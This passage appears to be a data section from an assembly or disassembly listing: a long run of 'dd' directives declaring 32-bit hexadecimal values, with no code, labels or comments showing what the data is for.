dd 0C7844C88h, 0BC3000F5h, 30DEA076h, 0E45132B9h, 14780E7Bh dd 0C40234Bh, 0B9A65B30h, 1B781351h, 110C062Dh, 0E2075082h dd 0DAAFDDE3h, 0D18443D0h, 0DBC01F02h, 0F91D00D4h, 53E41D9h dd 31222F21h, 82817940h, 6F431D91h, 528C030h, 0F4C4ACEBh dd 584711FAh, 80E8889Fh, 13FA8612h, 910B0F0Eh, 1BABFEEh dd 370D55B5h, 66DAC30h, 0DCDB7D45h, 5E00E1B8h, 7A73E786h dd 8974F08h, 3D1E216Ah, 0A5012800h, 0A0CFDFF5h, 4E544990h dd 0D7A0405Ch, 0BF0E6F41h, 88BDAD00h, 0F3DE9F91h, 0F550247Bh dd 0F9D34170h, 0C8644A36h, 8FDFCEECh, 8B02734Eh, 685A224Ah dd 8723946h, 3FBC32DFh, 0C05CCAC4h, 0D20EDF3Dh, 0B730B3B5h dd 35EE393Bh, 8BAB00B4h, 0BCD87A1Ah, 0E74875F4h, 5D430010h dd 24EF5703h, 48E32A87h, 0F6BB4CF8h, 0D6C0900Ch, 0C604E5C9h dd 355D14F4h, 74908CC4h, 58CCE613h, 150F5C47h, 27C20A5Bh dd 5C027A0Dh, 0B6A0A09Dh, 0E721C16Ch, 38F55BFCh, 74248797h dd 0B150438h, 45A04FA8h, 8000276Ah, 517B03CEh, 4E1C15Ah dd 30E381F5h, 8B146A20h, 8894BBB2h, 0DFD4C02Ch, 4746BC33h dd 0DD98C922h, 0C8C6DF00h, 0DACAC2C0h, 109225h, 5FBD413Ah dd 9D24CCA9h, 70B8FB7Ah, 5C720C20h, 22BCD846h, 8FE68Ch dd 0D6EB6BCh, 4459699Eh, 0D141BE17h, 9742E409h, 85ED9140h dd 84000999h, 2AF1077Eh, 5B393013h, 4E0B3158h, 0F9DEDC9Ch dd 688D620Ch, 98B54220h, 56C36F30h, 0EB02D43Bh, 8FBC28DFh dd 0C110DD31h, 0E800DFF3h, 16A4F289h, 48FDED0Eh, 85017383h dd 0A8456CF1h, 33C85825h, 388B9208h, 407CC45Ch, 70923B84h dd 40C04A57h, 0D8C70380h, 2200EBE4h, 58D30CD2h, 0B8A8D1Ch dd 4F7B5344h, 62DCF491h, 23CB0038h, 0F40F51BAh, 34E2C26h dd 194208D4h, 63F51031h, 40304AF9h, 0DFFE1FD2h, 28B02C57h dd 5E889624h, 6C002B46h, 3D975D18h, 5B3BE3C9h, 7D70E28Eh dd 60A042ECh, 0A3F4393Ch, 5A5B90D0h, 53F8AB94h, 0CBA294C1h dd 591230h, 0B3DD0960h, 0D0A7F617h, 81EC3948h, 923722E6h dd 28270A30h, 46704ADDh, 9245022Bh, 310C38A1h, 327A1014h dd 0EAC30392h, 2DDD3676h, 1FE25BE8h, 6947F12h, 0D1FD3090h dd 2439F9EDh, 0DA02DEBCh, 0EDBF0539h, 6218E88Fh, 8CD30043h dd 7EB7D7B5h, 14009355h, 590DEBA0h, 0EFCC9Fh, 0F60C2D0Fh dd 0A77E85B3h, 0E68D8E0Eh, 3AAC6166h, 3287A82Fh, 10279406h dd 554E3D13h, 37394300h, 2BF14887h, 0E8400001h, 7B3371F8h dd 1A009A1Eh, 0DECCB38h, 55E172h, 1CD82FE4h, 8459C13Fh dd 3E0C0500h, 5BC031DBh, 0D40200ADh, 505546C9h, 2F00DCF3h dd 0D673AED1h, 2CD77A74h, 2C12F794h, 50091BA4h, 67B51002h dd 21565D66h, 0C1421BADh, 0B3B02BA7h, 0FBE30718h, 73A6525Eh dd 37E053EAh, 88008E6Ah, 62E168C6h, 0F85BB357h, 1A270F07h dd 0D1839CA1h, 1900F8C3h, 87E12F37h, 20DC90C7h, 2D01C84Bh dd 29508B04h, 0A880E34Dh, 0C19F6E42h, 380E60B5h, 0A04E6486h dd 5B70E8C5h, 300D7CBEh, 0C4199210h, 0BD033476h, 38BB55CEh dd 0C076B4h, 0D5F82B23h, 35663A62h, 0DA753407h, 7A87397Eh dd 37DC080h, 0BB0C00D0h, 661F5362h, 80AB6734h, 97B07180h dd 9E0890A8h, 4896FC00h, 848FE98Ah, 70C403BAh, 10B4CFEFh dd 70F80A99h, 0D18C71Dh, 49504D30h, 63E235h, 9C2812E1h dd 0E2961383h, 63B38E0h, 0A1608043h, 0BA2422DFh, 0DC8300F6h dd 0B9031DE4h, 0AD07F512h, 134189CCh, 0DFA02C04h, 96D70C35h dd 8083FE1h, 92208A60h, 6BFA34h, 0F5429CBBh, 0E3226E2Ah dd 8DFFD600h, 1F54A480h, 1E0B3003h, 9C4E5978h, 0B81041EFh dd 44180553h, 6FAABE50h, 8F0AA02Eh, 0C2A5009Fh, 0AFA6054Ch dd 9FE75500h, 912BE224h, 7C78035Fh, 0CE7927FAh, 9E059698h dd 78D6523Eh, 3118F9B8h, 0E7F1043Bh, 965900E0h, 0CC76C57Bh dd 7A743582h, 2042ED30h, 6CE945h, 744018B7h, 0C4A4E8BDh dd 0E22F3C03h, 0CC27E05h, 0D183469h, 59002CB1h, 0A43FEC82h dd 0F8133D28h, 0ED7E3075h, 0BD2B1E0h, 0C1B21502h, 60F80ECEh dd 280689h, 0D956E0EBh, 2F4CA6B8h, 301D6C3Dh, 7EF52A65h dd 0B0D3B3Ch, 0CBA56F80h, 4950C437h, 6E034CEEh, 0EED7F3BAh dd 98C9B065h, 389006A5h, 8B5F40Dh, 0EBBF0B00h, 545FE9C8h dd 9824034Fh, 0B241475Bh, 536FC1F8h, 5C059A1Ch, 0E2A6A00Ah dd 208F4132h, 8A5BAB04h, 0FF2F741Fh, 5C916C18h, 0C71112C1h dd 5A160051h, 0D9EB5F02h, 7CAF8100h, 0D4B4341Bh, 0B91C0F3h dd 664E1972h, 87F20572h dd 8CCBEF4h, 0EA555181h, 89F3064Eh, 0C99890C9h, 0E1C33888h dd 48F6DA00h, 0D3925EB0h, 80DE0003h, 5B575A4Ch, 0FF008340h dd 43CF3061h, 0C6A5BCh, 2A920B0Ch, 0B587CBF4h, 0AE754200h dd 6B63D6E4h, 788650A3h, 0DEC3001Eh, 0D5466476h, 0B87566F6h dd 32A73014h, 0EFFCAC64h, 5F4CAE0Ch, 0EE410081h, 0AA1A89DFh dd 9220C0B3h, 0BFF18C87h, 8D396119h, 8718DA60h, 5292898h dd 53403056h, 0E54F8Fh, 5CD7BB12h, 732EFEDh, 0B2543352h dd 422330B5h, 0FA77DE00h, 6DA9CF02h, 247C003Bh, 60250F6Ch dd 0AE06B6B5h, 0BF06160Dh, 0CCA0DC1h, 0E049A85Eh, 4B00EC98h dd 0AD204A1Dh, 74DB3394h, 0FCD33A7h, 0E0C77120h, 17D77EEDh dd 56180309h, 0D0E5086Eh, 0EE63B780h, 0FC627D51h, 5DB10082h dd 0FCBEAB78h, 59142A5Bh, 186C8F43h, 72399CAAh, 7C9847h dd 0D9634357h, 45382B3h, 62B5E804h, 480D21Bh, 800E376Bh dd 6D3EED38h, 0A0A48182h, 5C0C9E74h, 39D66448h, 0D010774Ah dd 8BCFC8A7h, 9280FD73h, 664890FEh, 274CC16h, 0A542A002h dd 5B8C848Eh, 0BA4AD560h, 28D84629h, 0F8C1B418h, 0E34A0EFCh dd 79E2A9E7h, 249D1601h, 0C7805B11h, 58C50A4Dh, 64A6AA00h dd 9043E424h, 323C407Fh, 84A8EC7Ah, 63002E56h, 0AF9488E5h dd 18C01FAh, 93EDD0A0h, 4E5D4D79h, 0C1BE8844h, 0FC43D514h dd 77D3BB8h, 0A051412Ah, 5A2D380Bh, 600400CFh, 0A38EA874h dd 2017A3A4h, 5700D821h, 12DDEF1Fh, 64A727C7h, 80D361C8h dd 0FA48B3A4h, 0F9BAAA07h, 2B00419h, 5A8D2D8h, 77B58845h dd 10EC2F9Dh, 0FC00CC1h, 7790565h, 15307D06h, 46C0AEB8h dd 0CF59022Ch, 3158A58Dh, 61E71740h, 1F8C9D20h, 4C6E0175h dd 0C29F08FDh, 16343414h, 80C857F1h, 0D005ED58h, 3418B36Fh dd 0A0196EB8h, 0A6149143h, 0BC2E28FEh, 8D862440h, 97DB8384h dd 0C7E01140h, 0D0904DB0h, 0F00C6A21h, 860C6Ch, 672791A0h dd 141319E8h, 4AD37730h, 30CCF1C0h, 9EB96BF4h, 1107B8F7h dd 0D0EA3D84h, 898F8250h, 0F8653A54h, 0EEB42007h, 8C10C993h dd 53038C58h, 0F5ED76FEh, 0A749184Ch, 6C07D9C3h, 2603E5FCh dd 0B388B97Bh, 0C83D889Fh, 2F6D2E08h, 80F40A38h, 7D499Ch dd 8BD19161h, 50B1006Bh, 1921CBE8h, 491F439Ah, 0AC264EECh dd 848FFD11h, 0BE056382h, 5210B731h, 36034E8Ch, 78373174h dd 1689B029h, 2614910Ah, 589026B0h, 0E10049F0h, 0C00A4263h dd 30819082h, 0AB290287h, 0F3007C1Bh, 19DF9C95h, 0E808548Ch dd 4E99C09Dh, 0E1DD7C85h, 0EC76BA09h, 118C985Ah, 94BB01F2h dd 7BE8DF86h, 5D1FF096h, 6AF3B60Eh, 0A47E30Dh, 0B84F12Eh dd 0F8667199h, 1D8E18FFh, 2305594Fh, 0BC412C2Ch, 2EF44E82h dd 4EF0631h, 513E256Dh, 59158630h, 13664A1h, 4FF0053Ah dd 0E5FFF2EDh, 0CF7089E1h, 91F41706h, 47CE8249h, 0FE14E14Bh dd 4E051B18h, 3B760564h, 834F5870h, 0C6FD004Eh, 40A75EAh dd 0F6084D4h, 4D55C2A9h, 47C0BDA5h, 1019348h, 1C63A87Ch dd 0B1C491D4h, 8DBCB05Ah, 6C3DE194h, 0D5385033h, 5A1DB47Bh dd 0E7803FFDh, 2BB54CE0h, 0A7132416h, 0C2C98958h, 6904DC10h dd 80F3033Eh, 1191C49Ch, 2447D34Fh, 5E5833F9h, 4A00C346h dd 0FF757770h, 0C0A4BB19h, 88903C18h, 0D23229h, 74D060B4h dd 0DDA16CD6h, 54697624h, 9D575DCh, 0A43D442h, 286D8010h dd 44CB3CA0h, 0ED63F900h, 294AE191h, 0EB8E1BAAh, 3DA82142h dd 0AF00A7ECh, 0C330E6FDh, 0A63544h, 4D094FBCh, 0B2717A54h dd 99168631h, 56FCD7C1h, 0FB4E00E2h, 0E8790CD0h, 1C0C8A42h dd 0A188842Fh, 0EB0903A0h, 2675DEFh, 19008AE3h, 17A4BB69h dd 0EC0482A7h, 122EF061h, 2F32C90Eh, 0C3F8393Ch, 0D8AEF101h dd 62A55571h, 8198004Ch, 40E17D7Ch, 1EEEF467h, 291388h dd 5AF49A58h, 6B30C2C1h, 7538317Dh, 0F8F300F2h, 341C6CC7h dd 99E05A89h, 176B6025h, 80C29138h, 0E70E7A16h, 436800E1h dd 592E20A9h, 49CB9C85h, 22BE8030h, 0C05A1F4Ah, 0AE1A5DD4h dd 0BF0B43F3h, 90A6FAFEh, 9CCE74h, 82E17BD6h, 0F6AD4C89h dd 0C38E3E00h, 0F649A6Bh, 0C6C900E3h, 9076EDCEh, 2491848Fh dd 178B980h, 86E02C95h, 48A444h, 0F6D37943h, 0B5504AB3h dd 589DB92Ch, 0BE465Eh, 44B097Ah, 0E38648Fh, 0F1841A13h dd 23D82E16h, 0F9980014h, 43D20FE9h, 89919630h, 244E2F30h dd 8783A9Dh, 0AA94908Ch, 0CB8780FCh, 0ADE2ACh, 1EC3D603h dd 0D7668A5h, 0F2C6C703h, 0C05F3697h, 1321EDD2h, 348E9CD1h dd 8E7C8E04h, 7DC070C3h, 0F74B9B68h, 9910EB00h, 502A6484h dd 0AADD039Ah, 672F3417h, 4DFDAE80h, 153C9600h, 1F8A076Dh dd 0E93118F8h, 6CFE3069h, 99BB2D00h, 0A17773A5h, 300F03A7h dd 1467E9BAh, 19989383h, 6D3D3947h, 39D1B12Bh, 0AAF853DCh dd 0A54E00BDh, 218A8869h, 3000CB4Bh, 5DC866A7h, 0A0CEE7BCh dd 3B4CC34h, 0C701F564h, 0A5C01BB9h, 0BD16D310h, 600F43E5h dd 19E1E031h, 0C7339h, 795E30BBh, 70E47D1Ch, 246E49C0h dd 66F35h, 0CC408CADh, 0FF0D4A3Bh, 7F086500h, 581CAB7Eh dd 30D16189h, 0C890BE64h, 657FB777h, 5A6A8606h, 51637Fh dd 8988A9CFh, 0F9311D77h, 0C112017Bh, 1C06C4EAh, 29D3E4h dd 32698E6Bh, 0A3763E5Ah, 0C9F07B00h, 7983334Eh, 8F2E01FFh dd 0BE89571Eh, 0FD788051h, 5B28F234h, 0DEA909E9h, 0A0815F6Fh dd 0C4CCB40Dh, 28C75550h, 0E0BA982Ah, 94A46680h, 1E6E138h dd 0A720F6B2h, 7045133Ah, 5D00099Ah, 1F1DAB02h, 5F940D9h dd 0EBE1B2B7h, 44A90C38h, 8603E051h, 0E79AFCEAh, 35C10098h dd 7092B034h, 0DE01F28Ch, 0F4B8993Bh, 50F4C9AFh, 73A34CD9h dd 0C1BA891Bh, 4FBE5880h, 4A0E3500h, 497378DFh, 0A2AB0493h dd 0EE68F684h, 9141DC81h, 0B603A040h, 52020649h, 796DE778h dd 87404B00h, 0B2E86758h, 54BF008Bh, 0A85212A5h, 1E007C59h dd 69B6138Eh, 0E89B4B3h, 5C2AED1Fh, 0DA89A7ACh, 0FAA28300h dd 0DBE7CAD8h, 96D10270h, 0FFCEB971h, 895F9CA1h, 92F850DCh dd 1A01F96Bh, 877C2FC2h, 83C01309h, 0EC56CE2Bh, 5F325958h dd 8EBC98A8h, 1509F701h, 0FA1CDFF6h, 7EEAFDh, 46523B71h dd 6C0CFC68h, 0D9AE015Ah, 4EAF308Ch, 0BCC78040h, 0ED960D00h dd 866FE11Ch, 9FFCA9h, 0A32673F6h, 1858B5A4h, 0B8715E60h dd 3C1243h, 1B937AF1h, 1AD6003h, 55049900h, 1CC72F65h dd 7C5B1148h, 0E2E6015Eh, 277A6103h, 3E458DCh, 0CFF648FFh dd 597F4F5Ch, 1590B94Ch, 6D8C87DBh, 5DE041F0h, 94F653B4h dd 0A3F27800h, 12996742h, 0A40831C0h, 117C32h, 7791462Bh dd 0F287A06Ch, 9423260Fh, 0BF7FC082h, 0FEE1F3h, 0D3557696h dd 0A111F1CFh, 0E508DF4h, 270FB994h, 2AD1B6B1h, 3EBCB8B8h dd 7405806Bh, 31C8ABA9h, 6AF200D0h, 0D62B6CDEh, 5F1FAC53h dd 1418B90Eh, 0C4D4E791h, 838A71C1h, 6BA026D0h, 3800175Eh dd 3FF7A1B2h, 2ADB8EA2h, 843718h, 0B18DA5B5h, 0EDE909C3h dd 8945BF08h, 0CB2880DDh, 5A186B2Fh, 3F072400h, 0E0E45E46h dd 38AE18D8h, 5393C0B0h, 8CA38613h, 14422420h, 7D4B00E6h dd 9A6E7F07h, 0F677B92Bh, 40ED500h, 703DE8B1h, 0FEF8C5B0h dd 9F8201Bh, 0B53C9B20h, 7E3B80E8h, 0A325C439h, 0BAE50043h dd 0B6A7FB63h, 0B225B60h, 4ED60264h, 5EB1B918h, 7A63D098h dd 0C489E703h, 900D4D35h dd 77F64E3Eh, 29B900FBh, 0BE0BCA6Fh, 1312E160h, 0C80278DCh dd 2365E783h, 0A3B7DE29h, 0E81417FFh, 829C1BBBh, 0C07BD818h dd 1CF730A7h, 0E93D0h, 81B09E53h, 61F18A0h, 0DF40B123h dd 40B62202h, 405D48CFh, 327286DFh, 9800115Bh, 8CA97B3Ah dd 0F9BE7Ch, 316A2445h, 4B72DAE8h, 4EF903Eh, 8C5E4979h dd 390F1488h, 0A080DC5Dh, 1B38EF92h, 0DB016131h, 5782E8B0h dd 0EBE01E48h, 80992202h, 0A9F6530Fh, 5C8BBCA4h, 54F80586h dd 24076C13h, 0B580C276h, 0A4391FDh, 8452011Ah, 0EC0B0494h dd 0A764C25Dh, 0E7BD1501h, 0AB007462h, 0C24EDD25h, 0E9003F9Fh dd 0F049548Ah, 1C99CDBEh, 59B9F81Ah, 235E8989h, 53DE04B0h dd 8CC103C2h, 0AADC0185h, 13EB2C23h, 0E611140h, 0E0C94675h dd 0AE2401E1h, 0D3480076h, 98530625h, 4218021Fh, 0C508FD29h dd 3EAEF02Ah, 0A90BBC22h, 600254B8h, 54C4E69Fh, 49008371h dd 0AE0FD51Bh, 9DAF1Fh, 53F7DEF5h, 0DD99C721h, 3670CF60h dd 30DA1CAEh, 3010754Ch, 65003D76h, 920612D5h, 0EBEDD1B0h dd 4C41F840h, 305B4CABh, 58F5201h, 0F85AB327h, 39401892h dd 5E0A002Ah, 0CC77606Eh, 30069B57h, 36180451h, 0D630021h dd 19283337h, 7A260686h, 0CC135ABFh, 6BD9E430h, 0E891FC13h dd 90F200D1h, 0E1F4B7B3h, 0F617E832h, 5000889Dh, 13A4640h dd 0B50E017Fh, 9CAA674Ch, 0F423E5h, 0AB0FD8B1h, 5E00881h dd 8BE9E7FCh, 0B01000E6h, 0BAF74DD0h, 1BD4D104h, 2888CDBFh dd 0A80207F6h, 0DBE63E39h, 66942000h, 0E10F4FDAh, 0E06B9E1Fh dd 7A5E2AD2h, 4A703EDh, 8B988A75h, 0C7964100h, 81CF5637h dd 0FB2726Ch, 80ADB859h, 88333B24h, 31DE0198h, 6FBEBF3Ah dd 947E0219h, 2B8480CEh, 1D044AEh, 10F2ACA4h, 414A55CFh dd 17620720h, 285127C2h, 0B97400E0h, 0A086D7E2h, 0F61419C0h dd 4EE938h, 89237325h, 8F0E2491h, 3A49983Dh, 80344CEAh dd 7752FB5Bh, 902F00DAh, 0B21BC25Ch, 0E00B41Fh, 15EF1270h dd 76BAEBFAh, 816800DDh, 0D7CE8979h, 0D1060DF5h, 381B91E9h dd 5AA30191h, 96F9F466h, 0C0C5DDCFh, 0B8032C24h, 9949CB0Eh dd 0A791C0Ch, 86A9009Fh, 2558F2AFh, 0ED42AE03h, 8170DA2Ch dd 0B030CA29h, 80B4B946h, 69226A08h, 0A300B793h, 482D31E5h dd 7182E7h, 9DA912E6h, 7A68634h, 0E18A24h, 762E814Fh, 38248C7Bh dd 0BFE200BEh, 0E4214D02h, 9E008FBCh, 37A8D9C7h, 0CAA78E98h dd 1FEF2228h, 5B93407Ch, 81A8A4B5h, 0FBEB2C01h, 0ACE689BDh dd 541B0C74h, 3D805Ah, 8802F1B3h, 120576B6h, 0A03BBB1Eh dd 1F9E309h, 0F698FD44h, 2964E842h, 0A80D28A1h, 0DCCC4CB3h dd 21A32450h, 1A7239h, 81BACCE1h, 47BC702h, 0A756B9F7h dd 6890C211h, 0E8001CC6h, 0A6298E4Bh, 1C089C27h, 0BC5CC2h dd 74F39297h, 0FD039553h, 8AB957C3h, 0DCF19913h, 41B6FFh dd 64B2894h, 8EE56C0Bh, 17CD409h, 16A08009h, 484F9849h dd 2C0084C7h, 125E7352h, 7AE42DA8h, 8B2BEE0Ch, 164D9E9h dd 755F7944h, 0D0DFC24Ch, 0F507CFF4h, 5C27AA2Bh, 9C8C3965h dd 80FC94E8h, 7DE1E315h, 0A6B0239Dh, 10E47401h, 0C5BEDABCh dd 0DE217873h, 370B4417h, 4D44808Fh, 99D207Ah, 0B8B96CBBh dd 22E6D411h, 72B300A0h, 3DFB6E30h, 0DE8A2C09h, 0E70F40FCh dd 0C8016525h, 11F8B34h, 0A8620B5Ah, 31B70278h, 0B6BFF347h dd 0B801C45Ah, 574E8779h, 6840320Eh, 676020h, 85D28D9Dh dd 26964417h, 214EF700h, 3C117A1Ah, 24D8B034h, 0F009C58h dd 0D1818CD8h, 0DCE538DEh, 4090DA5Fh, 0F04AA82Dh, 0F0BA55h dd 64B5AA4Fh, 0A82FF1D0h, 0F71B7701h, 0EEEA3EF9h, 3A4AE6F8h dd 1F096DC8h, 806A045Ah, 0DC0010C2h, 4F895DB8h, 33442498h dd 0D1096F61h, 2168D902h, 3AE859h, 0D7D83E30h, 1D9E734Ah dd 3036C61h, 0F37B0683h, 0F97C2D8h, 3F5141C0h, 0DC784Ch dd 5CA3D241h, 0E3B9F97Fh, 0C9D69600h, 144BD9BBh, 88E7258Ah dd 85F2D038h, 12D22C03h, 0B0D44B93h, 4A7C59h, 0F0540ADDh dd 6DFF867Ah, 90F4D116h, 5C523830h, 0DD9B00AEh, 144547C0h dd 8C986D09h, 0AACFF20Ch, 2930295Dh, 80D467B3h, 26804598h dd 0B87E8185h, 0BCC6CE00h, 0D4C5DA47h, 3A2D5844h, 9316212h dd 0CC40ED08h, 54267177h, 0B340308Ch, 16E688Fh, 49A74B05h dd 48E8D7BAh, 0AD0390A0h, 72CF3CFAh, 0C7C3C89Ch, 0C2E30084h dd 0F14113C1h, 0E9582B63h, 5EDB80ECh, 141E54h, 0ECF3E195h dd 9DC2F4E2h, 0A677B700h, 8A0A16CFh, 43F894EBh, 3C160A9h dd 97E8C321h, 3C093602h, 107F5B49h, 0A8BB8C1Ch, 36D7DB8h dd 2F05E5Ah, 0A3F831E2h, 9E3EE715h, 84204A07h, 13E6FA3Ch dd 883E70B2h, 6701F9CCh, 2304C00Bh, 3738EF96h, 94908C25h dd 0FF79AB99h, 0EB273F00h, 179F0214h, 8A1500DDh, 0B71E6DC9h dd 49137960h, 601E5630h, 0E200F81Dh, 5002C101h, 0E6A63AA1h dd 8853A013h, 694F70F0h, 7C0A68B0h, 9888247Fh, 565B403Ch dd 0D900F318h, 4FA9C757h, 0A4382h, 68E41AF8h, 0D2AE03D5h dd 5B7A86C3h, 0FE39017Eh, 89A6629Ch, 0C0E832EDh, 3487DAEAh dd 27A0041h, 0E2957E04h, 0C6250EC2h, 61F49179h, 7D3DACCh dd 0E56D9280h, 0BAC9D023h, 7900C276h, 0CCF2C1E4h, 43DAA9h dd 49D09C96h, 1852F72Ah, 0DFACF0C0h, 68853E6h, 9664257Eh dd 0EE01A186h, 3D75A0A6h, 0E6F55FA7h, 0CDC448h, 11D8087Ah dd 0A0019B3Fh, 0C0E39703h, 80096CB9h, 0FA6618Eh, 9544C59Eh dd 2888FA61h, 0C153D4FFh, 36864E04h, 70C8E8F6h, 696713FBh dd 0C1EC09E4h, 99132801h, 2898183h, 9BF3C377h, 74592434h dd 44455CCFh, 6A91009Ch, 0F0E18996h, 0CFB9D8A8h, 0E6412564h dd 7E9A4488h, 7F4A00C6h, 31884DBBh, 2900260Fh, 74E58253h dd 29E6976Bh, 80B0D699h, 0B073F4B5h, 0AF75520Dh, 3C984D00h dd 36B89761h, 3D6E2F0h, 13F9A94Bh, 0B9E8F130h, 98135324h dd 400FCECh, 8CE87648h, 1BAA26DCh, 374F407Ch, 440068F7h dd 0EEAB026Ch, 34B90EE2h, 0A2B911C4h, 0D73C7910h, 0DD7D01D0h dd 7F5D6687h, 2413EC8h, 80694C68h, 0B8665B4Eh, 7825CF7Dh dd 265410F7h, 7C69FA51h, 1CA11745h, 775404AFh, 20648D05h dd 361E7EEBh, 9405B53h, 0B98F4E7Ah, 0C01F0A9Ah, 0C07F16h dd 1A7789A0h, 0C8FD8AE2h, 5401F5D0h, 13C7CBEh, 0E040A652h dd 4F8E96Bh, 8B23BD77h, 6EA488EDh, 7B80C4B9h, 0C6BB746Dh dd 86C200D7h, 0FAAE5E1h, 0A50052D5h, 8AC83977h, 14FC5A02h dd 0E4E808B3h, 46F71E80h, 0B902CC1Ah, 67E38C05h, 2B6C404Ah dd 82AD5C99h, 0CF87DB04h, 97D0B43Eh, 62012891h, 0C65B1F74h dd 0B1D0FC21h, 0E88A016Eh, 6DF02D1Ah, 31E0FC89h, 716CE930h dd 9A2C0FBh, 80138B6Fh, 0A00357D6h, 0CAD01FB9h, 0FA146632h dd 0E13404CBh, 805C2D77h, 8E9FBFB0h, 4098B028h, 0CB043700h dd 0CA338BA2h, 0FAF4A6A3h, 4CE307B3h, 30E50711h, 0D8AD5B1Ah dd 0D427F403h, 0FD1BA471h, 9326800h, 1AA8549h, 0E19EBE9Bh dd 70772288h, 0A537E398h, 98ABA8FCh, 79D22640h, 707D0008h dd 6D91B95Bh, 0ECA3E4B7h, 0B0FA3902h, 4E54CF6Fh, 9E7628B0h dd 99CE2EFCh, 0AA8A406Ch, 24072252h, 0E0856267h, 6B415AA1h dd 1996F884h, 84C8212h, 1DE3E410h, 0E704F721h, 5CF218D8h dd 3015B8A0h, 0B0B00EEAh, 9883EF2Bh, 77437403h, 0B812E37Bh dd 12F83C78h dd 5597597h, 82DC0C9Ch, 0CD2344B4h, 8F800A46h, 0A895CCh dd 935D045Fh, 0B00001F6h, 180CB821h, 0D6DA5E58h, 3F3830F8h dd 4F4C7202h, 55700E33h, 0A356402Ch, 891136h, 13BF386Bh dd 9671D0B7h, 368C50A0h, 2D472403h, 831466D6h, 46B39873h dd 64B1798h, 4E8490E8h, 890128E6h, 0FFBBBC8Fh, 0F0600DDCh dd 92A096DEh, 0B8582032h, 0A7053EE4h, 6CABF4CCh, 0AEDA9CC0h dd 57A007Fh, 778B2FFCh, 7E485AFEh, 5889928Ch, 0F474CE60h dd 2EA40036h, 2B3F6D63h, 5200818Eh, 965D05D5h, 12C247Fh dd 0B3CFEC61h, 4067E821h, 0EF472924h, 5D5CF209h, 51080457h dd 62225854h, 8BA6E800h, 0BA7E3AF9h, 196660E6h, 4BFCC341h dd 0F70287F4h, 2E43D240h, 7444E4h, 0A78014F0h, 6FCDDA26h dd 4B0045EEh, 90917E1Bh, 704E5674h, 2F870018h, 0B1DA5F9Fh dd 0A00AE9D0h, 0BC0E9960h, 0BA1FAF80h, 471D2Fh, 9C7870A9h dd 10FFF6D5h, 6B6F407h, 0F041B071h, 143950CFh, 0FC4E3015h dd 6C985F2Dh, 0B00DED0h, 2F98ABEh, 7CF74Dh, 5E31CFEBh dd 8B35CDBCh, 3099F698h, 0A8FFB808h, 95432430h, 30F90164h dd 84D04F8Bh, 7F5A6B29h, 7303E4A2h, 8AB3C2C8h, 60F2E8B2h dd 305C07E0h, 0F27C019Dh, 0D654ADD4h, 0B84B1DD4h, 438304ACh dd 0A0C85F47h, 64B4EC08h, 8DDBB986h, 0F270E389h, 0E5B00B93h dd 0D81880B4h, 0B900C7ECh, 457609BAh, 249C430Fh, 119CA1A0h dd 0A1972F5Eh, 2FB18E10h, 51AEF8h, 0FB186DBBh, 0E1610805h dd 0DCB36B0Ah, 0F7034089h, 0C073FC6Eh, 1347BD5Bh, 0EF6A83Fh dd 898BA33Ch, 0A743CC90h, 36CBF40Eh, 0E31E40EAh, 49CAEh dd 0F505D6F2h, 236C9351h, 20D8B151h, 3898A148h, 0F28A1000h dd 61F71778h, 0F876EABCh, 42C4A6E2h, 0E7327CC5h, 0C43299A5h dd 3E902B4h, 960B6D9Fh, 65B4A40h, 7A00C8A4h, 125C79B8h dd 5A0CE7B1h, 653420BCh, 81755646h, 0CE12A07Ch, 24085020h dd 5808804Eh, 3AE9B104h, 0DABE2F14h, 5EAC81C4h, 6C3998B3h dd 0A538AD00h, 1FB806F2h, 27754702h, 64E645BBh, 0BDAB030Ch dd 7D52CC9Dh, 185791E0h, 0C73460A1h, 0F7A699F0h, 0D1BEDB0Bh dd 3B6C9422h, 0D580524Dh, 5A96A5E1h, 79016444h, 286BECBDh dd 0C4E4D7F2h, 9C8D52D6h, 21F76307h, 0B04B00ADh, 0D10149DAh dd 8B672AD2h, 44331330h, 53A53500h, 15998AC6h, 490739FEh dd 0B6076275h, 23719810h, 59D2608Ch, 519A88B0h, 0B47DF600h dd 0F38D22EFh, 0D0184CFFh, 63CA6280h, 600250E5h, 899203BCh dd 4410ECE6h, 0BA0E2587h, 20400123h, 0CF4B6C94h, 274F5A56h dd 184EFF40h, 0CC60BB80h, 0D7EFDAE5h, 0CF5A2100h, 0D79B67A6h dd 5C600F8h, 0BFF52813h, 0B3123927h, 6430F749h, 1DA6546h dd 0F00302A9h, 299887B5h, 33FC0084h, 786E30A0h, 117701Eh dd 85E1B072h, 3CB7B9ABh, 40E5880Ch, 0E78A0661h, 5307B8A4h dd 4FBA76A0h, 0CEEBC3CFh, 0CA0EB813h, 0DBD709CFh, 0BA047259h dd 6980A041h, 1DBB8B5Ch, 0E4523C88h, 10CCF832h, 45189105h dd 4B384C47h, 11E40958h, 4C03F37Ah, 52A1F6B6h, 30087486h dd 8401572Fh, 74C2263Ch, 25F8C048h, 89D7023Dh, 18210613h dd 204CACF2h, 316A003Fh, 0F49DFA87h, 80A30DD1h, 0F0C0707Eh dd 4D18BEB6h, 0A780194Ch, 0A489305Fh, 0EEE4A5A9h, 83F31B3Fh dd 0C1B8FADAh, 61D0E849h, 0C1C1DD7Dh, 0DBE2B90Eh, 808C28D6h dd 548FD022h, 0CF130C55h, 98194851h, 1C00FC99h, 0C18D94Ah dd 0C31900D4h, 0ADDE2194h, 900275B0h, 66FF591Fh, 0E090C02Eh dd 4378B45Bh, 61E06201h, 0A13A5CFCh, 321B18F6h, 557B861h dd 560C4EA0h, 4AA000DBh, 55A8A75h, 11902295h, 3F08F962h dd 5985E8BDh, 0A2B1EE74h, 0F0D401A0h, 0E6D13980h, 515C20h dd 7E9C93E2h, 620FE8ACh, 825AB071h, 85586C04h, 7A198C3h dd 0C583E010h, 5330E2FCh, 5C4E8084h, 8F000152h, 0AE0997A5h dd 580CF4C7h, 0E11F50E8h, 0B2C692FFh, 0D25A18ACh, 1D8E4A1Eh dd 0C0D5D308h, 66A6FCADh, 820326DEh, 1801AA42h, 0E8610061h dd 4022EE7Ch, 0BA008A43h, 0E0A2312Eh, 7E479D4h, 7B59218Bh dd 7C269268h, 31E59081h, 607C5733h, 79DC0AFBh, 0D41F9D00h dd 31AD41A2h, 0FF76015Ah, 0A5662B26h, 0A6F8206Ah, 101BA9C9h dd 7B5E7D8h, 0DA7BA37h, 6376E08Fh, 890758CEh, 841CED52h dd 502BE151h, 498AB900h, 0BDE6E40Bh, 0F65C90E7h, 227F4B0h dd 175F53Ah, 7C5C8293h, 0E2888C4Eh, 9723005Dh, 0BAB43A7Ah 